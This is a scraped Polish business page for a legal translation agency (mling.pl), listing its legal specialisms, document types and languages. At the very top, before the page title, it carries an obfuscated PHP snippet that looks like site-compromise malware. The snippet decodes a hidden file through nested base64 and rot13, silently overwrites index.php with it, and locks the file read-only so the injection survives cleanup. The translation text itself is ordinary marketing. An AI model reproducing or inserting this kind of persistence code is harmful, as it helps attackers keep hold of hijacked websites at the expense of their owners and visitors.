$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } Tłumaczenia prawnicze i prawne: angielski, niemiecki, francuski | mling.pl
698 688 787 lub 22 379 04 55 biuro@mling.pl
Zaznacz stronę

TŁUMACZENIA PRAWNICZE I PRAWNE

Zaufaj specjalistom i korzystaj z naszego doświadczenia

Wycena tłumaczenia

wyc

  • Całkowicie za darmo !
  • Prześlij pliki
  • Odpowiedź do 30 minut
Sprawdź

Firma Wiarygodna Finansowo

fwf


Tłumaczenia prawnicze i prawne

Tłumaczenie prawnicze a życie codzienne

Sytuacja ekonomiczna danego państwa, jak również polityczna czy też społeczna sprawia, że ludzie – tak, jak i przed wiekami – emigrują i podróżują. Z każdym jednak wyjazdem wiążą się zarówno wydatki czysto finansowe, jak również szereg formalności. Te drugie zaś sprawiać mogą najwięcej problemów i uzależnione są przede wszystkim od celu samego wyjazdu. W przypadku emigracji zarobkowej, niezbędne okazuje się przetłumaczenie dokumentów, które potwierdzałyby wykształcenie danej osoby, jak również jej kwalifikacje i nabyte umiejętności.

Tłumaczenie w takim przypadku nie jest jednak rzeczą prostą. Okazuje się bowiem, że zwykły przekład może być niewystarczający dla przyszłego pracodawcy, gdyż ma on prawo wymagać tłumaczenia przysięgłego. Takiego zaś nie może dokonać każdy tłumacz, a jedynie taki, który ukończył odpowiednie kursy, jak również zdał z wynikiem pozytywnym egzamin państwowy.

Tłumaczenia przysięgłe – wbrew pozorom – nie są wcale marginalne. Przede wszystkim wymagane są one w przypadku właśnie dokumentów. I odnosi się to zarówno do dokumentów prywatnych, które wykorzystywane będą w przypadku poszukiwania pracy poza granicami kraju, jak również tymi, które potrzebne są do prowadzenia różnorodnych postępowań przed sądem czy instytucjami państwowymi. W przypadku bowiem spraw spadkowych czy o ustalenie obowiązku alimentacyjnego z tak zwanym elementem zagranicznym, które prowadzone są przed polskim sądem, wszelka dokumentacja musi być przetłumaczona przez osoby, które mają odpowiednie uprawniania, wykształcenie, a także doświadczenie. W przypadku naszego kraju, ten właśnie aspekt – tłumaczenia dokumentów – jest również uregulowany odpowiednimi przepisami, których należy poszukiwać przede wszystkim w kodeksie cywilnym, jak i kodeksie postępowania cywilnego.

Wykonujemy specjalistyczne tłumaczenia prawnicze w ramach następujących dziedzin:

  • Prawo autorskie
  • Prawo gospodarcze
  • Prawo korporacyjne
  • Prawo farmaceutyczne
  • Media i reklama
  • Prawo administracyjne
  • Gry losowe
  • Prawo karne
  • Prawo konkurencji
  • Obrót nieruchomościami
  • Ochrona dóbr osobistych i danych osobowych
  • Prawo budowlane
  • Prawo spółek
  • Prawo podatkowe
  • Prawo międzynarodowe
  • Prawo rodzinne
  • Prawo pracy

Tłumaczenia dokumentów

  • dokumenty procesowe
  • akty notarialne
  • akty założycielskie
  • umowy
  • ustawy, uchwały,
  • rozporządzenia, decyzje itp…
  • pełnomocnictwa
  • artykuły i publikacje naukowe

Najczęściej tłumaczone języki to:

  • angielski
  • niemiecki
  • francuski

Wycena jest całkowicie darmowa i do niczego niezobowiązująca.


Wybierz pliki